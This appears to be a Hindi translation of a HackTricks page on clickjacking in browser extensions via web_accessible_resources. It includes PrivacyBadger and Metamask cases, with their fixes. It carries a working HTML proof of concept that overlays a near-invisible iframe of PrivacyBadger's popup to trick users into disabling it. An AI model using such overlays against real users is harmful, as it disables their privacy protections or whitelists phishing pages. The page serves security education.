BrowExt - ClickJacking

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

यह पृष्ठ एक ब्राउज़र एक्सटेंशन में ClickJacking सुरक्षा दोष का दुरुपयोग करने जा रहा है।
यदि आप नहीं जानते कि ClickJacking क्या है, तो देखें:

Clickjacking

एक्सटेंशन में फ़ाइल manifest.json होती है और उस JSON फ़ाइल में एक फ़ील्ड web_accessible_resources है। यहाँ Chrome दस्तावेज़ों में इसके बारे में क्या कहा गया है:

ये संसाधन फिर एक वेबपृष्ठ में URL chrome-extension://[PACKAGE ID]/[PATH] के माध्यम से उपलब्ध होंगे, जिसे extension.getURL method के साथ उत्पन्न किया जा सकता है। अनुमति प्राप्त संसाधन उचित CORS हेडर के साथ परोसे जाते हैं, इसलिए वे XHR जैसे तंत्रों के माध्यम से उपलब्ध होते हैं।1

एक ब्राउज़र एक्सटेंशन में web_accessible_resources केवल वेब के माध्यम से ही नहीं, बल्कि एक्सटेंशन के अंतर्निहित विशेषाधिकारों के साथ भी कार्य करते हैं। इसका मतलब है कि उनके पास निम्नलिखित करने की क्षमता है:

  • एक्सटेंशन की स्थिति बदलना
  • अतिरिक्त संसाधन लोड करना
  • ब्राउज़र के साथ एक निश्चित हद तक बातचीत करना

हालांकि, यह सुविधा एक सुरक्षा जोखिम प्रस्तुत करती है। यदि web_accessible_resources के भीतर कोई संसाधन महत्वपूर्ण कार्यक्षमता रखता है, तो एक हमलावर संभावित रूप से इस संसाधन को एक बाहरी वेब पृष्ठ में एम्बेड कर सकता है। इस पृष्ठ पर जाने वाले अनजान उपयोगकर्ता अनजाने में इस एम्बेडेड संसाधन को सक्रिय कर सकते हैं। ऐसी सक्रियता अनपेक्षित परिणामों का कारण बन सकती है, जो एक्सटेंशन के संसाधनों की अनुमतियों और क्षमताओं पर निर्भर करती है।

PrivacyBadger Example

एक्सटेंशन PrivacyBadger में, skin/ निर्देशिका को web_accessible_resources के रूप में घोषित करने से संबंधित एक सुरक्षा दोष की पहचान की गई थी (मूल ब्लॉग पोस्ट देखें):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

यह कॉन्फ़िगरेशन एक संभावित सुरक्षा समस्या की ओर ले गया। विशेष रूप से, skin/popup.html फ़ाइल, जो ब्राउज़र में PrivacyBadger आइकन के साथ इंटरैक्शन पर रेंडर होती है, को एक iframe के भीतर एम्बेड किया जा सकता है। इस एम्बेडिंग का उपयोग उपयोगकर्ताओं को "Disable PrivacyBadger for this Website" पर अनजाने में क्लिक करने के लिए धोखा देने के लिए किया जा सकता है। ऐसा करने से उपयोगकर्ता की गोपनीयता से समझौता होगा क्योंकि PrivacyBadger सुरक्षा को निष्क्रिय कर दिया जाएगा और संभावित रूप से उपयोगकर्ता को बढ़ी हुई ट्रैकिंग का सामना करना पड़ेगा। इस एक्सप्लॉइट का एक दृश्य प्रदर्शन एक ClickJacking वीडियो उदाहरण में देखा जा सकता है जो https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm पर प्रदान किया गया है।

इस कमजोरियों को संबोधित करने के लिए, एक सीधा समाधान लागू किया गया: web_accessible_resources की सूची से /skin/* को हटा दिया गया। यह परिवर्तन प्रभावी रूप से जोखिम को कम करता है यह सुनिश्चित करके कि skin/ निर्देशिका की सामग्री को वेब-एक्सेसिबल संसाधनों के माध्यम से एक्सेस या हेरफेर नहीं किया जा सकता।

फिक्स आसान था: web_accessible_resources से /skin/* हटा दें

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask उदाहरण

A blog post about a ClickJacking in metamask can be found here. इस मामले में, Metamask ने इस कमजोरी को ठीक किया यह सुनिश्चित करके कि इसे एक्सेस करने के लिए उपयोग किया जाने वाला प्रोटोकॉल https: या http: था (उदाहरण के लिए chrome: नहीं):

Metamask एक्सटेंशन में एक और ClickJacking ठीक किया गया था कि उपयोगकर्ता Click to whitelist कर सकते थे जब एक पृष्ठ को फ़िशिंग होने का संदेह था क्योंकि “web_accessible_resources”: [“inpage.js”, “phishing.html”]। चूंकि वह पृष्ठ Clickjacking के लिए संवेदनशील था, एक हमलावर इसका दुरुपयोग कर सकता था, कुछ सामान्य दिखाकर पीड़ित को इसे व्हाइटलिस्ट करने के लिए क्लिक करने के लिए मजबूर कर सकता था, और फिर फ़िशिंग पृष्ठ पर वापस जा सकता था जिसे व्हाइटलिस्ट किया जाएगा।

Steam इन्वेंटरी हेल्पर उदाहरण

Check the following page to check how a XSS in a browser extension was chained with a ClickJacking vulnerability:

BrowExt - XSS Example

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें